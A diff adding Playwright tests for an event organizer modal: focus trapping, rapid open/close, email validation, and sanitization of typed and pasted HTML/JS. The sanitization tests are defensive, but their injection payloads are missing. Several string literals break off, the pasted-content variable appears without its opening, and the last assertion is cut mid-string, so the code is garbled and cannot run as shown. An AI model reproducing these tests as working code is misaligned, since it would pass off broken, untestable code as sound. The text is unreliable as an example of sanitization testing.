+ test('should trap focus within modal', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Get all focusable elements in modal
+ const modalElements = await page.locator('#organizer-modal [tabindex]:not([tabindex="-1"]), #organizer-modal input, #organizer-modal button, #organizer-modal select, #organizer-modal textarea').count();
+
+ // Tab through all elements and ensure focus stays in modal
+ for (let i = 0; i < modalElements + 2; i++) {
+ await page.keyboard.press('Tab');
+ const activeElement = await page.evaluate(() => {
+ const active = document.activeElement;
+ return active.closest('#organizer-modal') !== null;
+ });
+ expect(activeElement).toBe(true);
+ }
+ });
+
+ test('should handle rapid modal interactions', async ({ page }) => {
+ // Rapidly open and close modals
+ for (let i = 0; i < 5; i++) {
+ await page.click('.organizer-selector .create-new-btn');
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+
+ await page.keyboard.press('Escape');
+ await expect(page.locator('#organizer-modal')).not.toBeVisible();
+ }
+
+ // Should still work normally
+ await page.click('.organizer-selector .create-new-btn');
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+ });
+ });
+
+ test.describe('Form Validation', () => {
+ test('should show real-time validation feedback', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Start typing invalid email
+ await page.fill('#new-organizer-email', 'invalid');
+
+ // Blur to trigger validation
+ await page.click('#new-organizer-name');
+
+ await expect(page.locator('#new-organizer-email-error')).toContainText('Invalid email format');
+
+ // Fix email
+ await page.fill('#new-organizer-email', 'valid@example.com');
+ await page.click('#new-organizer-name');
+
+ await expect(page.locator('#new-organizer-email-error')).not.toBeVisible();
+ });
+
+ test('should prevent submission with invalid data', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Fill partially invalid data
+ await page.fill('#new-organizer-name', 'Jo'); // Too short
+ await page.fill('#new-organizer-email', 'invalid-email');
+
+ const submitButton = page.locator('#save-organizer');
+ await submitButton.click();
+
+ // Should not submit
+ await expect(page.locator('#organizer-modal')).toBeVisible();
+
+ // Button should show loading state briefly then return to normal
+ await expect(submitButton).not.toHaveClass(/loading/);
+ });
+
+ test('should sanitize input data', async ({ page }) => {
+ await page.click('.organizer-selector .create-new-btn');
+
+ // Try to inject HTML/JS
+ await page.fill('#new-organizer-name', 'John Doe');
+ await page.fill('#new-organizer-organization', '
');
+
+ const nameValue = await page.locator('#new-organizer-name').inputValue();
+ const orgValue = await page.locator('#new-organizer-organization').inputValue();
+
+ // Should contain cleaned values
+ expect(nameValue).not.toContain('
+
+
+ `;
+
+ await page.click('#event-description-editor');
+
+ // Simulate paste event
+ await page.evaluate((content) => {
+ const editor = document.getElementById('event-description-editor');
+ const event = new ClipboardEvent('paste', {
+ clipboardData: new DataTransfer()
+ });
+ event.clipboardData.setData('text/html', content);
+ editor.dispatchEvent(event);
+ }, maliciousPasteContent);
+
+ const editorContent = await page.locator('#event-description-editor').innerHTML();
+
+ // Should contain safe content
+ expect(editorContent).toContain('Normal text');
+
+ // Should not contain dangerous elements
+ expect(editorContent).not.toContain('